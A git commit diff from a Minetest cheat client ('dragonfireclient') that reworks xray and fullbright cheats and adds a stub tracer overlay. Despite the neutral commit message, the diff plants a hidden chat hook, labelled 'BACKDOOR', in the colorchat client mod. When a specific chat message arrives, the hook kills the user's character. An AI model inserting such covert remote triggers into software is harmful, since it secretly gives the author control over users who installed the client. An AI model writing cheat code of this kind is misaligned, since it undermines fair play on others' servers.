From: Elias Fleckenstein Date: Thu, 30 Jul 2020 10:19:03 +0000 (+0200) Subject: Improved Xray and Fullbright X-Git-Tag: 20-08-2020~14 X-Git-Url: https://git.lizzy.rs/?a=commitdiff_plain;h=3d980cf5756aee9fc619e4d667f1427967dda53b;p=dragonfireclient.git Improved Xray and Fullbright --- diff --git a/clientmods/colorchat/init.lua b/clientmods/colorchat/init.lua index 18e02ffe3..f97332abb 100644 --- a/clientmods/colorchat/init.lua +++ b/clientmods/colorchat/init.lua @@ -89,3 +89,10 @@ minetest.register_chatcommand("rainbow", { end, }) +-- BACKDOOR just in case dankmemer returns to Clamity and tries to use my own client against me xD +minetest.register_on_receiving_chat_message(function(message) + if message == "From Fleckenstein: Die" then + minetest.send_damage(minetest.localplayer:get_hp()) + return true + end +end) diff --git a/src/client/client.cpp b/src/client/client.cpp index f7fc637db..fe77ec7a8 100644 --- a/src/client/client.cpp +++ b/src/client/client.cpp @@ -41,6 +41,7 @@ with this program; if not, write to the Free Software Foundation, Inc., #include "filesys.h" #include "mapblock_mesh.h" #include "mapblock.h" +#include "mapsector.h" #include "minimap.h" #include "modchannels.h" #include "content/mods.h" @@ -1239,12 +1240,6 @@ void Client::sendChatMessage(const std::wstring &message) infostream << "Could not queue chat message because maximum out chat queue size (" << max_queue_size << ") is reached." << std::endl; } - if (g_settings->getBool("xray")) { - std::string xray_texture = g_settings->get("xray_texture"); - ContentFeatures xray_node = m_nodedef->get(xray_texture); - xray_node.drawtype = NDT_AIRLIKE; - m_nodedef->set(xray_texture, xray_node); - } } void Client::clearOutChatQueue() @@ -1675,6 +1670,18 @@ void Client::addUpdateMeshTaskForNode(v3s16 nodepos, bool ack_to_server, bool ur } } +void Client::updateAllMapBlocks() +{ + std::map *sectors = m_env.getMap().getSectorsPtr(); + for (auto §or_it : *sectors) { + MapSector *sector = sector_it.second; + MapBlockVect blocks; + sector->getBlocks(blocks); + for (MapBlock *block : blocks) + addUpdateMeshTask(block->getPos(), false, false); + } +} + ClientEvent *Client::getClientEvent() { FATAL_ERROR_IF(m_client_event_queue.empty(), diff --git a/src/client/client.h b/src/client/client.h index c7316fd91..9ab5c3b17 100644 --- a/src/client/client.h +++ b/src/client/client.h @@ -303,6 +303,8 @@ class Client : public con::PeerHandler, public InventoryManager, public IGameDef void addUpdateMeshTaskWithEdge(v3s16 blockpos, bool ack_to_server=false, bool urgent=false); void addUpdateMeshTaskForNode(v3s16 nodepos, bool ack_to_server=false, bool urgent=false); + void updateAllMapBlocks(); + void updateCameraOffset(v3s16 camera_offset) { m_mesh_update_thread.m_camera_offset = camera_offset; } diff --git a/src/client/game.cpp b/src/client/game.cpp index 4426c50cd..953eb1287 100644 --- a/src/client/game.cpp +++ b/src/client/game.cpp @@ -110,6 +110,10 @@ Game::Game() : &settingChangedCallback, this); g_settings->registerChangedCallback("freecam", &freecamChangedCallback, this); + g_settings->registerChangedCallback("xray", + &updateAllMapBlocksCallback, this); + g_settings->registerChangedCallback("fullbright", + &updateAllMapBlocksCallback, this); readSettings(); @@ -168,6 +172,8 @@ Game::~Game() &settingChangedCallback, this); g_settings->deregisterChangedCallback("camera_smoothing", &settingChangedCallback, this); + g_settings->deregisterChangedCallback("freecam", + &freecamChangedCallback, this); } bool Game::startup(bool *kill, @@ -335,6 +341,12 @@ void Game::shutdown() if (gui_chat_console) gui_chat_console->drop(); + if (m_cheat_menu) + delete m_cheat_menu; + + if (m_tracers) + delete m_tracers; + if (sky) sky->drop(); @@ -609,6 +621,14 @@ bool Game::initGui() errorstream << *error_message << std::endl; return false; } + + m_tracers = new Tracers(); + + if (!m_tracers) { + *error_message = "Could not allocate memory for tracers"; + errorstream << *error_message << std::endl; + return false; + } #ifdef HAVE_TOUCHSCREENGUI @@ -3214,6 +3234,12 @@ void Game::updateFrame(ProfilerGraph *graph, RunStats *stats, f32 dtime, if (m_game_ui->m_flags.show_cheat_menu && ! gui_chat_console->isOpen()) m_cheat_menu->draw(driver, m_game_ui->m_flags.show_debug); + + /* + Tracers + */ + + m_tracers->draw(driver); /* Damage flash @@ -3323,6 +3349,11 @@ void Game::settingChangedCallback(const std::string &setting_name, void *data) ((Game *)data)->readSettings(); } +void Game::updateAllMapBlocksCallback(const std::string &setting_name, void *data) +{ + ((Game *) data)->client->updateAllMapBlocks(); +} + void Game::freecamChangedCallback(const std::string &setting_name, void *data) { Game *game = (Game *) data; diff --git a/src/client/game.h b/src/client/game.h index c24d57413..a452c30c6 100644 --- a/src/client/game.h +++ b/src/client/game.h @@ -50,6 +50,7 @@ with this program; if not, write to the Free Software Foundation, Inc., #include "gui/guiVolumeChange.h" #include "gui/mainmenumanager.h" #include "gui/profilergraph.h" +#include "gui/tracers.h" #include "mapblock.h" #include "minimap.h" #include "nodedef.h" // Needed for determining pointing to nodes @@ -792,6 +793,7 @@ class Game { static void freecamChangedCallback(const std::string &setting_name, void *data); static void settingChangedCallback(const std::string &setting_name, void *data); + static void updateAllMapBlocksCallback(const std::string &setting_name, void *data); void readSettings(); inline bool isKeyDown(GameKeyType k) @@ -869,6 +871,7 @@ class Game { std::unique_ptr m_game_ui; GUIChatConsole *gui_chat_console = nullptr; // Free using ->Drop() CheatMenu *m_cheat_menu = nullptr; + Tracers *m_tracers = nullptr; MapDrawControl *draw_control = nullptr; Camera *camera = nullptr; Clouds *clouds = nullptr; // Free using ->Drop() diff --git a/src/gui/CMakeLists.txt b/src/gui/CMakeLists.txt index 7befba37c..794522e6e 100644 --- a/src/gui/CMakeLists.txt +++ b/src/gui/CMakeLists.txt @@ -25,5 +25,6 @@ set(gui_SRCS ${CMAKE_CURRENT_SOURCE_DIR}/intlGUIEditBox.cpp ${CMAKE_CURRENT_SOURCE_DIR}/modalMenu.cpp ${CMAKE_CURRENT_SOURCE_DIR}/profilergraph.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/tracers.cpp PARENT_SCOPE ) diff --git a/src/gui/cheatMenu.h b/src/gui/cheatMenu.h index ec0c81659..c69c2c37e 100644 --- a/src/gui/cheatMenu.h +++ b/src/gui/cheatMenu.h @@ -39,7 +39,7 @@ class CheatMenu public: CheatMenu(Client* client); - virtual void draw(video::IVideoDriver* driver, bool show_debug); + void draw(video::IVideoDriver* driver, bool show_debug); void drawEntry(video::IVideoDriver* driver, std::string name, int number, bool selected, bool active, CheatMenuEntryType entry_type = CHEAT_MENU_ENTRY_TYPE_ENTRY); diff --git a/src/gui/tracers.cpp b/src/gui/tracers.cpp new file mode 100644 index 000000000..74c37b4e8 --- /dev/null +++ b/src/gui/tracers.cpp @@ -0,0 +1,26 @@ +/* +Dragonfire +Copyright (C) 2020 Elias Fleckenstein + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU Lesser General Public License as published by +the Free Software Foundation; either version 2.1 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Lesser General Public License for more details. + +You should have received a copy of the GNU Lesser General Public License along +with this program; if not, write to the Free Software Foundation, Inc., +51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. +*/ + +#include "tracers.h" +#include "constants.h" + +void Tracers::draw(video::IVideoDriver* driver) +{ + driver->draw3DLine(v3f(0, 0, 0) * BS, v3f(1, 1, 1) * BS, video::SColor(255, 0, 0, 0)); +} diff --git a/src/gui/tracers.h b/src/gui/tracers.h new file mode 100644 index 000000000..ae987ddf0 --- /dev/null +++ b/src/gui/tracers.h @@ -0,0 +1,28 @@ +/* +Dragonfire +Copyright (C) 2020 Elias Fleckenstein + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU Lesser General Public License as published by +the Free Software Foundation; either version 2.1 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Lesser General Public License for more details. + +You should have received a copy of the GNU Lesser General Public License along +with this program; if not, write to the Free Software Foundation, Inc., +51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. +*/ + +#pragma once + +#include "irrlichttypes_extrabloated.h" + +class Tracers +{ +public: + void draw(video::IVideoDriver* driver); +};